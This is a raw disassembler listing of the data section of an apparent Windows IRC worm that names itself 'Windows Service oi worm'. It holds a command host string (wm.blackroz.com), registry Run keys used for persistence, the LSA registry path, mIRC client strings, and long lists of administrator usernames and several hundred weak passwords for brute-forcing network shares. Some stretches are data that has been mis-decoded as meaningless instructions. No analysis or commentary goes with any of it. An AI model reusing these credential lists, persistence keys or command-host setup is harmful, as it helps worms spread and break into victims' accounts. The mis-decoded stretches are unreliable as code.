		dd offset loc_401202
		dd offset sub_40C879
		dd offset sub_40C911
		dd offset sub_40DC7A
		dd offset sub_423394
dword_426018	dd 0			; DATA XREF: sub_4184E4+1Ao
dword_42601C	dd 0			; DATA XREF: sub_4184E4+10o
		dd offset sub_419DB2
		dd offset sub_41CE4D
		dd offset sub_41F30B
		dd offset sub_421362
dword_426030	dd 0			; DATA XREF: sub_4184E4:loc_4184EFo
dword_426034	dd 0			; DATA XREF: sub_418533+65o
		dd offset sub_41F3B0
dword_42603C	dd 0			; DATA XREF: sub_418533:loc_418593o
dword_426040	dd 0			; DATA XREF: sub_418533+76o
		dd offset sub_421373
dword_426048	dd 2 dup(0)		; DATA XREF: sub_418533:loc_4185A4o
dword_426050	dd 80000002h		; DATA XREF: sub_401000+24r
off_426054	dd offset byte_426174	; DATA XREF: sub_401000+1Er
		dd 80000002h, 4261A4h, 80000001h, 426174h
dword_426068	dd 6272h, 0		; DATA XREF: sub_4010AA+Bo
					; sub_40E5CD+24o ...
dword_426070	dd 0F51h		; DATA XREF: sub_40121E+48Fr
					; sub_40121E+517r
dword_426074	dd 1B58h		; DATA XREF: sub_40121E+55Dr
dword_426078	dd 26A1h		; DATA XREF: sub_401AA1:loc_40415Br
dword_42607C	dd 45h			; DATA XREF: sub_401AA1+1B80r
					; sub_40AAE8+3Br
dword_426080	dd 9D9h			; DATA XREF: sub_401AA1:loc_40370Br
					; sub_40AAE8:loc_40AED0r
dword_426084	dd 247h			; DATA XREF: sub_401AA1:loc_403897r
word_426088	dw 6F5h			; DATA XREF: sub_401AA1:loc_40427Dr
		align 4
dword_42608C	dd 1			; DATA XREF: sub_401AA1+61Ar
dword_426090	dd 1			; DATA XREF: sub_40121E+13Ar
dword_426094	dd 1			; DATA XREF: sub_40121E:loc_40154Dr
					; sub_415972+Cr
byte_426098	db 2Eh			; DATA XREF: sub_401AA1+686r
					; sub_401AA1+872r ...
		align 4
dword_42609C	dd 9			; DATA XREF: sub_409D24+39r
					; sub_409D24+5Fr ...
dword_4260A0	dd 5			; DATA XREF: sub_4017BF+78r
					; sub_401AA1+26Er ...
dword_4260A4	dd 1			; DATA XREF: sub_4017BF+72r
					; sub_401AA1+268r
dword_4260A8	dd 2D316E62h, 73544Bh, 2073544Bh, 3876h	; DATA XREF: sub_40121E+5Do
					; sub_401AA1:loc_403FB6o ...
aSock		db 'sock',0             ; DATA XREF: sub_401AA1+6F61o
					; sub_401AA1+7024o
		align 10h
aWm_blackroz_co	db 'wm.blackroz.com',0  ; DATA XREF: sub_40121E+47Bo
					; sub_40121E+508o
aWm		db '#wm#',0             ; DATA XREF: sub_40121E+49Bo
					; sub_40121E+51Eo ...
		align 4
a_w_		db '.w.',0              ; DATA XREF: sub_40121E+4B2o
					; sub_40121E+530o
byte_4260DC	db 77h			; DATA XREF: sub_40121E:loc_40175Er
					; sub_40121E+54Eo
		db 6Dh,	2Eh, 62h
		dd 6B63616Ch, 2E7A6F72h, 6D6F63h
dword_4260EC	dd 236D7723h, 0		; DATA XREF: sub_40121E+564o
dword_4260F4	dd 2E772Eh		; DATA XREF: sub_40121E+576o
byte_4260F8	db 69h			; DATA XREF: sub_40121E+140o
					; sub_40121E+164w ...
		db 74h,	71h, 6Eh
		dd 2E68796Dh, 657865h, 6E6E6977h, 78696874h, 61622E73h
		dd 74h
aWindowsService	db 'Windows Service oi worm',0 ; DATA XREF: sub_401000+Bo
aWw		db 'Ww`',0              ; DATA XREF: .nsp0:00409DA2o
aWinsysaohixs_d	db 'winsysaohixs.dat',0
		align 4
aIx		db '+ix',0              ; DATA XREF: sub_401AA1+70A4o
aWm_0		db '#wm##',0            ; DATA XREF: sub_401AA1+1842o
					; sub_401AA1+2AE1o ...
		align 10h
aWm_1		db '#wm##',0
		align 4
aWm_2		db '#wm##',0            ; DATA XREF: sub_401AA1+3ADDo
		align 10h
off_426160	dd offset a@ktw_com	; DATA XREF: sub_401AA1+6FC4r
					; "*@KTW.com"
off_426164	dd offset aMircV6_16Khale ; DATA XREF: sub_401AA1+802r
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
byte_426174	db 53h			; DATA XREF: .nsp0:off_426054o
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0
		align 8
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		align 10h
		dd offset byte_4400B4
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_2	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_0		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
; ---------------------------------------------------------------------------
		ror	ah, 42h
		add	[eax-4FFFBD34h], bh
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-63FFBD34h], ch
		int	3		; Trap to Debugger
		inc	edx
		add	[esp+ecx*8-3373FFBEh], dl
		inc	edx
		add	[eax+7C0042CCh], al
		int	3		; Trap to Debugger
		inc	edx
		add	[eax-34h], bh
		inc	edx
		add	[eax-34h], dh
		inc	edx
		add	[eax-34h], ch
		inc	edx
		add	[eax-34h], ah
		inc	edx
		add	[eax-34h], bl
		inc	edx
		add	[eax-34h], dl
		inc	edx
		add	[eax-34h], cl
		inc	edx
		add	[esp+ecx*8], bh
		inc	edx
		add	[esp+ecx*8], dh
		inc	edx
		add	[esp+ecx*8], ch
		inc	edx
		add	[esp+ecx*8], ah
		inc	edx
		add	[esp+ecx*8], bl
		inc	edx
		add	[esp+ecx*8], dl
		inc	edx
		add	[esp+ecx*8], cl
		inc	edx
		add	[esp+ecx*8], al
		inc	edx
		add	ah, bh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, dh
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, ch
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, bl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, dl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, cl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8-3453FFBEh], bh
		inc	edx
		add	[ebx+ecx*8-345FFFBEh], ah
		inc	edx
		add	[ebx+ecx*8-3467FFBEh], bl
		inc	edx
		add	[eax-77FFBD35h], dl
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax+780042CBh], al
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8+42h], ch
		add	[eax-35h], ah
		inc	edx
		add	[ebx+ecx*8+42h], bl
		add	[eax-35h], bl
		inc	edx
		add	[eax-35h], dl
		inc	edx
		add	[eax-35h], cl
		inc	edx
		add	[ebx+ecx*8+42h], al
		add	[ebx+ecx*8], bh
		inc	edx
		add	[ebx+ecx*8], dh
		inc	edx
		add	[ebx+ecx*8], ch
		inc	edx
		add	[eax], ah
		retf
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+ecx*8], dl
		inc	edx
		add	[ebx+ecx*8], cl
		inc	edx
		add	[ebx+ecx*8], al
		inc	edx
		add	ah, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
; ---------------------------------------------------------------------------
		fmul	st, st(2)
		inc	edx
		add	ah, cl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aAids		; "aids"
; ---------------------------------------------------------------------------
		mov	eax, 0B00042CAh
		retf	42h
; ---------------------------------------------------------------------------
		test	al, 0CAh
		inc	edx
		add	[edx+ecx*8-356BFFBEh], bl
		inc	edx
		add	[edx+ecx*8-357BFFBEh], cl
		inc	edx
		add	[eax-36h], bh
		inc	edx
		add	[eax-36h], dh
		inc	edx
		add	[eax-36h], ch
		inc	edx
		add	[eax-36h], ah
		inc	edx
		add	[eax-36h], bl
		inc	edx
		add	[eax-36h], dl
		inc	edx
		add	[eax-36h], cl
		inc	edx
		add	[eax-36h], al
		inc	edx
		add	[eax], bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
; ---------------------------------------------------------------------------
		mov	esp, 0B00042C4h
		les	eax, [edx+0]
		test	al, 0C4h
		inc	edx
		add	[eax-67FFBD3Ch], ah
		les	eax, [edx+0]
		nop
		les	eax, [edx+0]
		mov	ah, al
		inc	edx
		add	[esp+eax*8+42h], bh
		add	[eax-3Ch], dh
		inc	edx
		add	[eax-3Ch], ch
		inc	edx
		add	[eax-3Ch], ah
		inc	edx
		add	[esp+eax*8+42h], dl
		add	[esp+eax*8+42h], cl
		add	[esp+eax*8+42h], al
		add	[eax], bh
		les	eax, [edx+0]
		sub	al, 0C4h
		inc	edx
		add	[esp+eax*8], ah
		inc	edx
		add	[esp+eax*8], bl
		inc	edx
		add	[esp+eax*8], dl
		inc	edx
		add	[esp+eax*8], cl
		inc	edx
		add	[esp+eax*8], al
		inc	edx
		add	ah, bh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	ah, dh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ch
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8-3C4BFFBEh], bh
		inc	edx
		add	[ebx+eax*8-3C5BFFBEh], ch
		inc	edx
		add	[eax-6FFFBD3Dh], bl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-7FFFBD3Dh], cl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax-3Dh], bh
		inc	edx
		add	[ebx+eax*8+42h], ch
		add	[ebx+eax*8+42h], ah
		add	[ebx+eax*8+42h], bl
		add	[eax-3Dh], dl
		inc	edx
		add	[eax-3Dh], cl
		inc	edx
		add	[eax-3Dh], al
		inc	edx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[ebx+eax*8], bl
		inc	edx
		add	[eax], dl
		retn
; ---------------------------------------------------------------------------
		inc	edx
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
; ---------------------------------------------------------------------------
		aam	0C2h
		inc	edx
		add	ah, cl
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aCode		; "code"
; ---------------------------------------------------------------------------
		mov	eax, 0AC0042C2h
		retn	42h
; ---------------------------------------------------------------------------
		movsb
		retn	42h
; ---------------------------------------------------------------------------
		pushf
		retn	42h
; ---------------------------------------------------------------------------
		xchg	eax, esp
		retn	42h
; ---------------------------------------------------------------------------
		mov	edx, es
		inc	edx
		add	[edx+eax*8-3D83FFBEh], al
		inc	edx
		add	[edx+eax*8+42h], dh
		add	[edx+eax*8+42h], ch
		add	[edx+eax*8+42h], ah
		add	[edx+eax*8+42h], bl
		add	[eax-3Eh], dl
		inc	edx
		add	[eax-3Eh], cl
		inc	edx
		add	[edx+eax*8], bh
		inc	edx
		add	[edx+eax*8], dh
		inc	edx
		add	[eax], ch
		retn	42h
; ---------------------------------------------------------------------------
		and	dl, al
		inc	edx
		add	[eax], bl
		retn	42h
; ---------------------------------------------------------------------------
		adc	dl, al
		inc	edx
		add	[eax], cl
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber_1	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
